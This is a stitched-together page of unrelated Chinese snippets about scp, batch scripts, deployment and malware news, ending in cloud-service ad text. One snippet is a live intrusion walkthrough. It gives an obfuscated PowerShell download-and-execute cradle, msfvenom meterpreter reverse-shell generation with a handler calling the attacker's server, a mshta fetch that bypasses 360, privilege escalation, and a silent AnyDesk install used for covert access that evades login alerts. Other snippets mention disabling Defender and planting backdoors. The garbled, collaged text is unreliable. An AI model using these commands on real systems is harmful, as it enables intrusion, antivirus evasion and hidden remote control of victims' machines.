Defeat-Defender是一款功能强大的Batch批处理脚本，该脚本可以帮助广大研究人员在渗透测试的过程中，完全禁用Windows Defender、防火墙和Smartscreen的保护，并允许执行各种Payload，在某些情况下甚至还可以绕过系统的篡改保护功能。
Jenkins远程部署，一开始没有任何头绪，想了很多方案. 因为两台机器都是windows系统，所以想到publish over cifs, 但是这个网上资料太少，貌似只能内网使用。又想到了Jenkins 分布式构建，但是Jenkins构建的代码和产物最后自动拷贝到主节点。而远程机器其实是客户方的机器，所以这个分布式构建并不适用。最后还是选定publish over ssh来实现远程部署。
在过去的几周里，一个自称 Avos Locker 的新兴勒索软件家族一直在加大攻击力度，同时努力在其目标系统上禁用端点安全产品。
熟悉系统目录方便我们进行渗透操作。包括系统自身创建的目录、程序或人为创建的目录。比较重要的几个目录包括Windows、Program files/Program files（x86）、ProgramData、用户等。
最近，我们关注到一起APT攻击事件，攻击者通过钓鱼邮件的方式投递含有恶意代码的附件，此附件包含一个名叫“Kaskitya”的木马。
翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件，存储着这个定位服务平台的相关配置信息，包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡，公网：47.**.***.77，内网：10.28.176.131，两个内网DNS服务器：10.143.22.116、10.143.22.118，并且可以与外网进行通讯。 0x04 绕过主动防御上线 测试了以前常用的Powershell混淆法，不过已经被360主动防御拦了，微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性，一旦被公布被查杀和拦截也正常（早晚的事）。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了，最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话，执行getsystem即可提升为SYSTEM，执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注：mshta白名单貌似只能用x86的Payload，执行成功后会自动迁移至32位的rundll32.exe进程，所以就可能会出现由werfaylt.exe弹出的下图报错，所以个人建议在得到Session后迁移至x64进程，并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒 虽然已经是最高权限了，但由于这台主机为阿里云，且存在360主动防御，就不添加用户进行远程桌面连接了，因为360会拦截添加用户，而且远程桌面连接时会触发异地登录提醒。 为避免触发异地登录提醒，我们可以利用AnyDesk来进行绕过，将AnyDesk.exe和静默安装批处理文件上传至可读写目录中，然后在命令行下执行该批处理文件获取连接ID。 注：如果等待时间过长，一直卡着不动获取不到连接ID时可结束当前命令行，重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面，成功的绕过了阿里云主机的异地登录提醒。 至此，全文结束，内网就不搞了！！！
在Windows环境中进行远程管理时，确实可能会遇到所谓的“双跳”问题。当我们从一个机器（A）远程连接到另一个机器（B），然后再试图从机器B连接到第三个机器（C），这种情况被称为“双跳”。在这种情况下，你可能会遇到权限或认证问题，因为默认情况下，我们的凭证不会从机器A传递到机器C。
cURL是一个出色的网络通信工具，它代表“客户端 URL”。几乎所有设备都使用地球上连接到 Internet 的 cURL，cURL 最广泛的用途是从终端中的远程服务器下载文件。
Zscaler 的研究人员发现暗网上正在出售名为 Quantum Builder 的构建工具，该工具可以投递 .NET 远控木马 Agent Tesla。与过去的攻击行动相比，本次攻击转向使用 LNK 文件。
说明：一般我们同步Windows和Linux之间的文件时，常用的方法有nfs挂载，inotify + rsync同步等，有钱的或许会买成熟的storenext系统，当然后者基本上都是公司在用，storenext由于价格太贵，个人使用基本可以无视，而nfs由于兼容性问题，在实际挂载中会出现很多小问题，算是inotify + rsync使用的比较多，不过鉴于前两天水过一篇Mutagen，博主发现用来实现Windows和Linux VPS之间双向同步的时候，速度还行，资源占用都不算很大，这里就大致水下使用方法，顺便也可以结合下Rclone，间接实现不挂梯子达到Windows和Gdrive双向同步的目的。
说到SSH终端工具，大家首先想到的可能会是putty、xshell这些老牌客户端。以上这些工具能够流行至今，并有一定的用户群体，一定有其独特之处。不过在互联网日益发达的今天，我们工作中的使用需求也越来越多，比如：在远程连接服务器、运行Linux命令的同时，可能还需要传输一些文件；我们希望可以同时连接多台服务器，在多个窗口下管理，便于相互切换；在管理Linux的同时，还可以运行cmd/zsh以及gitbash，而不是开多个软件......
scp就是secure copy的简写，用于在Linux下进行远程拷贝文件的命令，和它类似的命令有cp，不过cp只是在本机进行拷贝不能跨服务器。
本文为作者原创文章，为尊重作者劳动成果禁止非授权转载，若需转载请在【全栈工程师修炼指南】公众号留言，或者发送邮件到 [master@weiyigeek.top] 中我将及时回复。
运行保存在桌面的payload.ps1，在杀软全程开启的情况下直接上线（易翻车，运气好）
在开发中经常遇到这样的场景，就是两台Linux服务器间需要互相拷贝文件。常见的场景就是在本机通过堡垒机才能登录到远程的Linux服务器上，而堡垒机上没有相应的ftp可视化工具；这时就需要借助远程拷贝命令。
在window Vista以上的操作系统中，修改sethc会提示需要trustedinstaller权限，trustedinstaller是一个安全机制，即系统的最高权限，权限比administrator管理员高，windows权限分为三种从低到高依次是user，administrator，system，而trustedinstaller比 administrator高但没有system高，这么做的好处是避免了一些恶意软件修改系统文件的可能，坏处就是自己不能直接操作了：
辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读等)可以帮助残疾人更轻松地使用Windows操作系统，但是此功能可能会被滥用于在已启用RDP且已获得管理员级别权限的主机上实现持久性，此技术涉及磁盘或者需要修改注册表才能执行存储的远程负载
钓鱼攻击是网络犯罪团伙常用的一种手段，很多勒索病毒都曾使用邮件钓鱼的方式欺骗受害者打开相应的附件，运行恶意样本，导致受害者被勒索加密，钓鱼邮件攻击也是APT攻击的常用手段之一，如果收到陌生的邮件，千万不要随便点击附件链接或打开邮件附件中的文件。
日常我们开发时，我们会遇到各种各样的奇奇怪怪的问题（踩坑o(╯□╰)o），这个常见问题系列就是我日常遇到的一些问题的记录文章系列，这里整理汇总后分享给大家，让其还在深坑中的小伙伴有绳索能爬出来。 同时在这里也欢迎大家把自己遇到的问题留言或私信给我，我看看其能否给大家解决。
引言： 命令提示符（CMD）是 Windows 操作系统中内置的命令行工具，它提供了一种直接与计算机系统进行交互的方式。虽然现代操作系统提供了许多图形化界面和工具，但命令提示符在某些场景下仍然具有重要的作用。在本篇博客中，我们将深入了解命令提示符，介绍其功能和常用命令，以及如何充分利用它来完成各种任务。
原文链接:https://rumenz.com/rumenbiji/linux-scp.html
在 Windows 10 上，批处理文件是一种特殊的文本文件，通常具有。Bat 扩展，它包含一个或多个命令，命令提示符可以理解并依次运行以执行各种操作。
expect 命令是用来实现自动化交互通信的，比如当你在脚本中通过某些命令登录、连接、上传、下载等和远程服务器的交互时，可能需要让你输入一些账号、密码等信息
在重装系统的时候，一个干净安全可信任的Windows原版系统镜像是必不可少的，不过对于很多人来说，在茫茫的网络资源库里，想找到一个自己想要的东西，却有点困难，搞不好就被盗版 网站骗了，下载了一个流氓的系统镜像，装上之后一堆第三方推广应用，甚至可能会暗藏病毒、泄露隐私。今天就给大家介绍几个可以免费下载 Windows 原版镜像的网站。
相信连过远程服务器的小伙伴对 ssh 命令一定不陌生，经常会用ssh命令从一个服务器登录到另一个服务器（ $ ssh username@xx.xx.xx.xx ）。当我们需要两个服务器之间传输文件的时候，就需要用到scp命令了，当然你也可以选择借助xftp或者其它软件把文件下载到本地电脑，再从本地电脑上传到另一个服务器。
一般来说dos命令都是在dos程序中进行的，如果电脑中安装有dos程序可以从开机选项中选择进入，在windows 系统中我们还可以从开始运行中输入cmd命令进入操作系统中的dos命令，如下图： image.png 严格的说，windows 中的命令窗口并不是真正意义上的dos操作界面，其功能并不全面，真正的dos程序是在电脑中没进入系统而进入的dos界面，如下图： image.png 如上图，我们只要在dos界面中输入各种dos命令，即可实现相应的命令，下面分享下dos命令大全： net use ipipc
在 Windows 系统环境中，存在许多需要用户进行身份认证的场景，比如 Outlook 登录、提升授权（用户账户控制）或者锁屏需要解锁时，通过模拟这类场景，很容易让用户上当并且不易被发现。
目前开始写初步部署，因为我是完全用jar包部署的，直接部署的。没有放在docker容器中，所以我先这样做了。因为目前项目还是存在许多不足的地方，只是功能上的不完善，所以目前开始写jar包的初始部署运行。
写在前面的话 近期，我一直在我客户的网络环境中分析PowerShell攻击，根据我的分析以及研究结果，我发现了几种方法来帮助研究人员检测潜在的PowerShell攻击。这种方法主要利用的是Windows的事件日志，首先我们需要了解攻击者是如何使用PowerShell来实施攻击的，然后我们再来看一看相关的检测和防御机制。 PowerShell如何被用于网络攻击之中 PowerShell的能力大家有目共睹，近期也有越来越多的攻击者开始在攻击活动中使用PowerShell了。PowerShell是Window
不同的Linux主机之间想要实现文件相互拷贝的方法有三种： 第一种：ftp，也就是其中一台Linux安装ftpServer，这样可以另外一台使用ftp的client程序来进行文件的copy。 第二种：采用samba服务，类似Windows文件copy的方式来操作，比较简洁方便， 第三种：利用scp命令来进行文件复制。
磨刀不误砍柴工，配置完美的编辑器，在开发时，能帮助我们节约大量的时间成本，从而是我们的精力放在业务逻辑实现上面！
在渗透过程中，攻击者往往需要通过命令下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
但当分享或接收的一端为远程服务器，只有命令行可以操作时，一个能支持在命令行完成分享和下载的工具，就会省下不少麻烦。
近日深信服安全团队捕获到一个最新的404 Keylogger木马变种，通过OFFICE文档嵌入恶意宏代码进行传播，盗取受害者浏览器的网站帐号和密码，深信服安全团队对此样本进行了详细分析，并获取到了黑客FTP服务器的帐号和密码，请大家提高安全意识，不要轻易打开未知的邮件附件及文档等。
Linux的服务器之间传文件的指令操作通常有两种，一种是sftp、ftp，另一种是scp，这两类指令，都可以实现文件的上传和下载。但是，如果不是写在脚本中，而是纯指令操作，sftp和ftp在登陆后才可以执行cd或者直接cp，因此，包括登陆在内，至少需要两次指令操作，而scp只需要一次操作即可完成文件的上传和下载。
2010-04-17 22:27:19| 分类： 电脑技术 | 标签：dos命令大全 |字号大中小 订阅
命令提示符是在操作系统中，提示进行命令输入的一种工作提示符。在不同的操作系统环境下，命令提示符各不相同。 在windows环境下，命令行程序为cmd.exe，是一个32位的命令行程序，微软Windows系统基于Windows上的命令解释程序，类似于微软的DOS操作系统。
批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
最近有个想法，想通过在自己笔记本上安装一个Linux子系统，如果你是一名学生，连阿里云服务器都不用买，就可以使用该子系统输入一些Linux命令进行学习，跟服务器的命令都基本一样，可以使用自己的windows笔记本学习一些Linux命令，同时使用该系统连接自己阿里云服务器，并实现免密登陆，由于我家里一个笔记本，公司一个笔记本，就又需要实现多用户免密远程登陆阿里云服务器，这篇就来分享实现一下如何笔记本电脑Windows系统安装Linux子系统吧，下篇分享本机Linux子系统Ubuntu免密登陆远程服务器同时实现多用户登陆服务器的内容，希望对小伙伴有所帮助。
1.创作背景 在我们日常做项目的时候，避免不了的一件事就是进行项目的更新部署，如果是windows服务的话，还是没什么苦恼的，但是如果服务器是linux的话，部署系统的时候，每次都需要输入一堆的命令，进出文件目录，很繁琐，也很浪费时间，有时还需要修改文件里面的配置信息，因为开发环境和正式环境不一样，有时还需要修改文件里面的配置信息，这一切的原因促使我有了一个想法:就是利用批处理帮我实现自动化部署的需求 2.技术简介 本次写的脚本主要是利用了Windows环境下使用SSH的开源图形化SFTP客户端 WINSC
双 11 期间入手了一台云服务器,备案花了一两个星期,这两天终于备案通过了.于是在个人服务器上装了 Docker 容器用于部署项目,准备尽量把所有的服务都打包成容器,方便统一管理运维.
刚开始用git的小白适用，参考链接：http://www.cnblogs.com/qijunjun/p/7137207.html 实际项目开发中，我们经常会用一些版本控制器来托管自己的代码，今天就来总结下Git的相关用法，废话不多说，直接开写。
使用Vue做前后端分离项目时，通常前端是单独部署，用户访问的也是前端项目地址，因此前端开发人员很有必要熟悉一下项目部署的流程与各类问题的解决办法了。
老司机上车了！！！！！！ 我們知道，批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。 一.简单批处理内部命令简介 1.Echo
老司机上车了！！！！！！ 我们知道，批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。 一.简单批处理内部命令简介 1.Echo 命令
为什么不是远程连接Linux服务器？ 因为我不会，远程连接window我就用电脑自带的“远程桌面连接”。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
